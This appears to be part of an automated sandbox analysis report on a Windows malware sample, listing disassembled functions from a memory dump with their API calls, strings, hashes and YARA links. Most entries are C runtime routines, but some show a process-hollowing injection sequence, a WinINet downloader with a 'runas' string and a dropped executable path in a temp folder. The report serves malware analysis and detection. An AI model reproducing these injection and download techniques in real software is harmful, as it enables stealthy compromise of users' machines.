Instruction ID: 91c897ca481589db634073a0b1c50a3fa504f2dd116508e95ea64104f0d46cea
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 1BF0FC36504314ABD7203BF5988CB6E72E8EF49224F200128F543D11C0CB70EC454A55

Uniqueness

Uniqueness Score: -1.00%

Function 0041AD8F, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00417094,00000001,00000364,00000008,000000FF,?,?,0040FD13,0040E3EC,?,0040EC38,E8004311), ref: 0041ADD0

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5579d8f2822081db85d459a68fa1b51dea11c7a59c9e695cb275dcd9dd8cd21e
Instruction ID: 648544826e9acf93286589d0c4db28050938e400161a7bfbc7755f4c33975b5c
Opcode Fuzzy Hash: 5579d8f2822081db85d459a68fa1b51dea11c7a59c9e695cb275dcd9dd8cd21e
Instruction Fuzzy Hash: 6FF02B312029246ADB212A22AD01BEB37569F81362F054027EC0496A91CA28DC9042DE

Uniqueness

Uniqueness Score: -1.00%

Function 00416AEA, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0040E3EC,?,?,0040FD13,0040E3EC,?,0040EC38,E8004311,76D26490), ref: 00416B1C

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 318ea7e4fdbb36b820ab8c904d9c3d4f41e1f2e2b0d1b89830e62106e8ec42cb
Instruction ID: 31e6bcfa576d0f434f4f1c8ade444fe157d4e811e5a74eca956fd670acc5e426
Opcode Fuzzy Hash: 318ea7e4fdbb36b820ab8c904d9c3d4f41e1f2e2b0d1b89830e62106e8ec42cb
Instruction Fuzzy Hash: 2EE0EC3124913166D63026569C00FDB3B889F413A1F03013BFC05D6290EB5CFC8185DD

Uniqueness

Uniqueness Score: -1.00%

Function 0041D8B1, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,0041DCA1,?,?,00000000,?,0041DCA1,00000000,0000000C), ref: 0041D8CE

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f4284ebefad32896ae27c04ba37a0df0535649db73f9f0f9d55800fa928cc254
Instruction ID: ceed89300155e818d6c5368a0feea72a114c098ece8793ea31281d03f641e89b
Opcode Fuzzy Hash: f4284ebefad32896ae27c04ba37a0df0535649db73f9f0f9d55800fa928cc254
Instruction Fuzzy Hash: C0D06C3210010DBFDF128F84DC06EDA3BAAFB48714F014110BA1856120C732E872EB94

Uniqueness

Uniqueness Score: -1.00%

Function 026DA28D, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 026DA2DE

Memory Dump Source

Source File: 00000021.00000002.512872145.00000000026D9000.00000040.00000001.sdmp, Offset: 026D9000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ca61f190a054301635c8cf91cb6fb0933cdef198f0f16bd2507fae0f69ee45a6
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 3F112B79A00208EFDB01DF98C985E98BBF5AF08351F058094F9489B362D371EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3D0, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0002BF20), ref: 0040E41B

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 510c84c1f0cffb483b9efb8ca5d4bbbe2f18de6f5d5cd1a0568e2ba81959efde
Instruction ID: 215d9b8d4e9c8047318c876fceb3c4b42e8cd86b163d8906ccf052b0025636c1
Opcode Fuzzy Hash: 510c84c1f0cffb483b9efb8ca5d4bbbe2f18de6f5d5cd1a0568e2ba81959efde
Instruction Fuzzy Hash: 9AE04F15B40010638414327F1D3363E3825098166879415AEEC42372D7ECAC2A2102DF

Uniqueness

Uniqueness Score: -1.00%

Function 0040E470, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0002BF20), ref: 0040E4BB

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 989e7a7bcab0bdafba359ad4a8a3b95ccb22bdbc903b5333dace9c3edf4c944c
Instruction ID: a4b3f8826c95ac59e0368e7ae95fb21bbea042a1a423ba7d1d0e91edb5c32423
Opcode Fuzzy Hash: 989e7a7bcab0bdafba359ad4a8a3b95ccb22bdbc903b5333dace9c3edf4c944c
Instruction Fuzzy Hash: 75E08615F4002063C404327F1C3753E38250A9176879416BEF8423B3D7ED6C2A2103DF

Uniqueness

Uniqueness Score: -1.00%

Function 0040E420, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0002BF20), ref: 0040E46B

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1eced28ad6f72f56f9662b17136e9af1f4439f83745d85f739e36ab663fb7efd
Instruction ID: 8a19a7f6a30cb3e7797648cf3198516cac396a9e75ae8a1d791d13fd321e64aa
Opcode Fuzzy Hash: 1eced28ad6f72f56f9662b17136e9af1f4439f83745d85f739e36ab663fb7efd
Instruction Fuzzy Hash: 7EE08616F4001063C404327F0D3353E3825098172C7941AAEF8423B3D7ED6C2A2103DF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00402250, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 0040226C
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 004022C5
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 004022DE
GetThreadContext.KERNEL32(?,00000000), ref: 004022F3
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00402316
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 0040232E
GetProcAddress.KERNEL32(00000000), ref: 00402335
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 00402354
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 0040236F
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 004023AC
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 004023DC
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 004023F2
ResumeThread.KERNEL32(?,?,?,00000000), ref: 004023FB
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000), ref: 00402409
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00402420

Strings

NtUnmapViewOfSection, xrefs: 00402324
ntdll.dll, xrefs: 00402329

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1050664331
Opcode ID: 3078ffa1859de130ddeca60dbf4b09c62e6d23851e62b2b19299828d2c3f7800
Instruction ID: afd8631e990efc72bdc980619b5cc23537b0044600a19f4c07e0c489dac9edec
Opcode Fuzzy Hash: 3078ffa1859de130ddeca60dbf4b09c62e6d23851e62b2b19299828d2c3f7800
Instruction Fuzzy Hash: 2E516D71B40305BBEB209BA4DD85FAABB78FF08705F504065F608E62D0D7B4A955CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00410222, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00410238

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 9d42c58614a3a1302500ec64a4ed311cd8a054c97570889aff67bf1e6ad34597
Instruction ID: 7f2ccc1b5dd1f62925f14ce0f3c04b379962244c35f2b26403de66435b6ab7b6
Opcode Fuzzy Hash: 9d42c58614a3a1302500ec64a4ed311cd8a054c97570889aff67bf1e6ad34597
Instruction Fuzzy Hash: 0B515EB1A012098BEB19CF54D9857EEB7F0FB48314F14856AD915EB7A0D3B89D80CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0C2, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424753f39c68a9d89bcd0bec6e0c5a76db6d448c3eb5cf0a87106b884c3612fd
Instruction ID: e0dc1646e145955180f4f3746c60af465fce0b62feefe3327d74ca83b1ab1251
Opcode Fuzzy Hash: 424753f39c68a9d89bcd0bec6e0c5a76db6d448c3eb5cf0a87106b884c3612fd
Instruction Fuzzy Hash: 0941A3B1905218AEDB209F69CC89AEABBB9EF45304F1442DEE41CD3211DB389E848F54

Uniqueness

Uniqueness Score: -1.00%

Function 0041CB2C, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0041CB70

Part of subcall function 0041C709: _free.LIBCMT ref: 0041C726
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C738
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C74A
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C75C
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C76E
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C780
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C792
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C7A4
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C7B6
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C7C8
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C7DA
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C7EC
Part of subcall function 0041C709: _free.LIBCMT ref: 0041C7FE

_free.LIBCMT ref: 0041CB65

Part of subcall function 00416601: HeapFree.KERNEL32(00000000,00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000), ref: 00416617
Part of subcall function 00416601: GetLastError.KERNEL32(00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000,00000000), ref: 00416629

_free.LIBCMT ref: 0041CB87
_free.LIBCMT ref: 0041CB9C
_free.LIBCMT ref: 0041CBA7
_free.LIBCMT ref: 0041CBC9
_free.LIBCMT ref: 0041CBDC
_free.LIBCMT ref: 0041CBEA
_free.LIBCMT ref: 0041CBF5
_free.LIBCMT ref: 0041CC2D
_free.LIBCMT ref: 0041CC34
_free.LIBCMT ref: 0041CC51
_free.LIBCMT ref: 0041CC69

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 510fba1adc7cf242a608785f5bd2dfa962a1d78a49c1a1ea65ee83b995477306
Instruction ID: 0484ab9a63c19d17e320508f5cd372c79f8c2d53bff1b031fa99baee02996404
Opcode Fuzzy Hash: 510fba1adc7cf242a608785f5bd2dfa962a1d78a49c1a1ea65ee83b995477306
Instruction Fuzzy Hash: 45314C716443009FEB21AA79EC86B97B3E9AF00315F11442BE458D6291DF39FCD0CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402430, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 136networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 004024D1
InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004024E3
InternetReadFile.WININET(00000000,?,00032000,00032000), ref: 004024FA
InternetCloseHandle.WININET(00000000), ref: 0040250B
InternetCloseHandle.WININET(00000000), ref: 0040250E
InternetCloseHandle.WININET(00000000), ref: 0040251F
InternetCloseHandle.WININET(00000000), ref: 00402522

Strings

runas, xrefs: 004026C5
<, xrefs: 004026AC
Microsoft Internet Explorer, xrefs: 004024CC

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: <$Microsoft Internet Explorer$runas
API String ID: 4294395943-436926838
Opcode ID: 9369e8588e4bec545424fcef3897524b8e740b001498f8ddcf8aadfe275b8c1c
Instruction ID: 2b5c1717c82cf1bcfaee824813c5aa76ccd2e0675d1c39cd98a8590ea6e24510
Opcode Fuzzy Hash: 9369e8588e4bec545424fcef3897524b8e740b001498f8ddcf8aadfe275b8c1c
Instruction Fuzzy Hash: 8F410431E00219ABDB18DF64CD85BAEBB79EF85300F10807AE511B72D1D77CAA41CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00416DDA, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00416DF0

Part of subcall function 00416601: HeapFree.KERNEL32(00000000,00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000), ref: 00416617
Part of subcall function 00416601: GetLastError.KERNEL32(00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000,00000000), ref: 00416629

_free.LIBCMT ref: 00416DFC
_free.LIBCMT ref: 00416E07
_free.LIBCMT ref: 00416E12
_free.LIBCMT ref: 00416E1D
_free.LIBCMT ref: 00416E28
_free.LIBCMT ref: 00416E33
_free.LIBCMT ref: 00416E3E
_free.LIBCMT ref: 00416E49
_free.LIBCMT ref: 00416E57

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5be3f2622cb3345a613f4c2fa7f468d10245fa3face95f549194a8e45062f44b
Instruction ID: 9ac12997f409e09f284fb3084e283640f1bc5f5bb484a064226b56a85c72038b
Opcode Fuzzy Hash: 5be3f2622cb3345a613f4c2fa7f468d10245fa3face95f549194a8e45062f44b
Instruction Fuzzy Hash: FF219A76900108EFCB41EF95C841DDE7BB9FF08345F0141AAF9159B121EB36EA94CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0041A84A, Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a4e69ec4c7ef8cb53c6a992adf2d4749ee192e0ce1716a58546d4ef97709dbc
Instruction ID: 24c1fb8e07bb5d931e9e808705c566552b3b874c63d1b27013fbf30a24ce9d82
Opcode Fuzzy Hash: 6a4e69ec4c7ef8cb53c6a992adf2d4749ee192e0ce1716a58546d4ef97709dbc
Instruction Fuzzy Hash: 05C10970A092459FDF15DF99C881BEEBBB1AF49314F04405BE60497392D738ADD2CB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A40, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00410A77
___except_validate_context_record.LIBVCRUNTIME ref: 00410A7F
_ValidateLocalCookies.LIBCMT ref: 00410B08
__IsNonwritableInCurrentImage.LIBCMT ref: 00410B33
_ValidateLocalCookies.LIBCMT ref: 00410B88

Strings

csm, xrefs: 00410BB1
csm, xrefs: 00410B1D

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: 0374d3287ff8e98bf96915b3599c46b5bfbd7a8cb00e27770b5443055aea2c94
Instruction ID: 1e29f4121bd5bb4e6d42b0bcf92c1ff488988dd6b5532fa52b85bb20cecc90e3
Opcode Fuzzy Hash: 0374d3287ff8e98bf96915b3599c46b5bfbd7a8cb00e27770b5443055aea2c94
Instruction Fuzzy Hash: 2D51B534A00209DFCF14DF59D840ADE7BB5AF44318F1481ABE8155B392D7B9E9C2CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041BF44, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0041BF6E
_free.LIBCMT ref: 0041C047
_free.LIBCMT ref: 0041C074

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 192126f7518bf40c4cea524b674f2b5d5b2d85c3537c4d6a3ba6dfc37ffb935a
Instruction ID: a7ab0755cdd5fcc2c1d94863c0793a6e5362be77a03ae0c127ee93c90d898f96
Opcode Fuzzy Hash: 192126f7518bf40c4cea524b674f2b5d5b2d85c3537c4d6a3ba6dfc37ffb935a
Instruction Fuzzy Hash: 6E5105709C4211AFDB20AFB58CC29FE7BA4AF05718F04416FE51097282EB3989C18B9D

Uniqueness

Uniqueness Score: -1.00%

Function 004171AC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 00417203
ext-ms-, xrefs: 00417217

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: c84a2b77935eb924aed648b2b7d3e40140daa0546c7905651bd106588082a50c
Instruction ID: 8f1c6e0094c6d3538ac87aa352488e327211543a1813d1f44e39b21f902c1d22
Opcode Fuzzy Hash: c84a2b77935eb924aed648b2b7d3e40140daa0546c7905651bd106588082a50c
Instruction Fuzzy Hash: 3221F631A4D220E7CB314B649C80EDB36789F557A0B2101A2FD16A7391D678DD4286E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041C8A8, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0041C870: _free.LIBCMT ref: 0041C895

_free.LIBCMT ref: 0041C8F6

Part of subcall function 00416601: HeapFree.KERNEL32(00000000,00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000), ref: 00416617
Part of subcall function 00416601: GetLastError.KERNEL32(00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000,00000000), ref: 00416629

_free.LIBCMT ref: 0041C901
_free.LIBCMT ref: 0041C90C
_free.LIBCMT ref: 0041C960
_free.LIBCMT ref: 0041C96B
_free.LIBCMT ref: 0041C976
_free.LIBCMT ref: 0041C981

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6cd0b8cb4d40afac903e53b7985856a57367b62d0dae06027e3d0fb788c86ede
Instruction ID: f2b93970fb6e2aef318e5f2c4523945811294bca4e2481cfb0b80df0a2661d87
Opcode Fuzzy Hash: 6cd0b8cb4d40afac903e53b7985856a57367b62d0dae06027e3d0fb788c86ede
Instruction Fuzzy Hash: D41172715D0704EAD920B7B2CCC7FCBB79D5F01705F40082EB299A6052EB39F5958698

Uniqueness

Uniqueness Score: -1.00%

Function 00418457, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00403D80,00000000), ref: 0041849F
__fassign.LIBCMT ref: 0041867E
__fassign.LIBCMT ref: 0041869B
WriteFile.KERNEL32(?,00403D80,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004186E3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00418723
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004187CF

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 8d93eeb9984b9cfff8565e0c27fea2738b2eaafb5c4d3da342a423e23a2a0f18
Instruction ID: beb5861e4abce14f06dcd24397d210cd9645b43e00d7a8697286e935f53395e2
Opcode Fuzzy Hash: 8d93eeb9984b9cfff8565e0c27fea2738b2eaafb5c4d3da342a423e23a2a0f18
Instruction Fuzzy Hash: D0D18D75D002589FCB15CFA8C8809EEBBB5EF49314F28416EE865B7341DB34AD86CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00410E44, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00410E3B,00410CA9,004105B7), ref: 00410E52
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00410E60
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00410E79
SetLastError.KERNEL32(00000000,00410E3B,00410CA9,004105B7), ref: 00410ECB

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6c03938069e6b7b23674db80bc579b142826eceee62ccf849c52df2d9d81859c
Instruction ID: fbdea789013a358475f0cb85031c656012928e6e563f3a8a68490c708a0442e9
Opcode Fuzzy Hash: 6c03938069e6b7b23674db80bc579b142826eceee62ccf849c52df2d9d81859c
Instruction Fuzzy Hash: 2B01FC336097115DE72427777D85AD72A68EB05779B20073FF514902F2EFAA4CC1514C

Uniqueness

Uniqueness Score: -1.00%

Function 0041B498, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe, xrefs: 0041B49D

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe
API String ID: 0-1019081748
Opcode ID: 9f0d3990cab99277f2c6efbf3b81b8cc250a3f84bd6af618d38e46a0f3d7b651
Instruction ID: a6d91d72e78203765ee6c05f39fb8ce87f556eb1b606fad4f5d0dc189e3d53dc
Opcode Fuzzy Hash: 9f0d3990cab99277f2c6efbf3b81b8cc250a3f84bd6af618d38e46a0f3d7b651
Instruction Fuzzy Hash: 7D21D471204205BF9B20AF668C84DEB776DEF0036D710852AF925C7251E738ED8187E9

Uniqueness

Uniqueness Score: -1.00%

Function 00412C0B, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00412C4D

Strings

.bat, xrefs: 00412C7C
.exe, xrefs: 00412C5A
.cmd, xrefs: 00412C6B
.com, xrefs: 00412C8D

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 15a5f3288f9aaf355dc4e93a79ae344d8195a868944644686aa35fb8295601a0
Instruction ID: c759ddb5ac90f6ab1ac45928bbaba56c44597eec320416e9b8e49e92896b9161
Opcode Fuzzy Hash: 15a5f3288f9aaf355dc4e93a79ae344d8195a868944644686aa35fb8295601a0
Instruction Fuzzy Hash: A401A13770C726252A14505AAF027AF53A98F91BB8726012FF958F72C1FECCD9A251DC

Uniqueness

Uniqueness Score: -1.00%

Function 00411154, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 004111A4

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: b8ecf89c5f3d7a2f7767fdd90ce932ffd2d4c5eb1bfd891279011bf3ca49a564
Instruction ID: 61928d99341b51059aac123d8b34d2618907a57ee03d50c70aaf2b2d1c785a30
Opcode Fuzzy Hash: b8ecf89c5f3d7a2f7767fdd90ce932ffd2d4c5eb1bfd891279011bf3ca49a564
Instruction Fuzzy Hash: 1711BC35B0A225FBCB324B649C84B9BB7589F09760B110162EF05A7370D634DD41C5E8

Uniqueness

Uniqueness Score: -1.00%

Function 00412203, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,004121F8,?,?,004121C0,00403D80,76D26490,?), ref: 00412218
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0041222B
FreeLibrary.KERNEL32(00000000,?,?,004121F8,?,?,004121C0,00403D80,76D26490,?), ref: 0041224E

Strings

CorExitProcess, xrefs: 00412223
mscoree.dll, xrefs: 00412211

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2507951d6d1a2487d55b9b793432bce96fc35d87bb98e2533eabd8f79f8650fc
Instruction ID: 6250f0f5c9219dab05e05ccb32d3a9bd397d453599b4be5e81b1812bfa653797
Opcode Fuzzy Hash: 2507951d6d1a2487d55b9b793432bce96fc35d87bb98e2533eabd8f79f8650fc
Instruction Fuzzy Hash: 99F08230708219FBDB219B50DE0ABDEBA68EF40755F5000A1F800E12A0CB788E55DA98

Uniqueness

Uniqueness Score: -1.00%

Function 0041C807, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041C81F

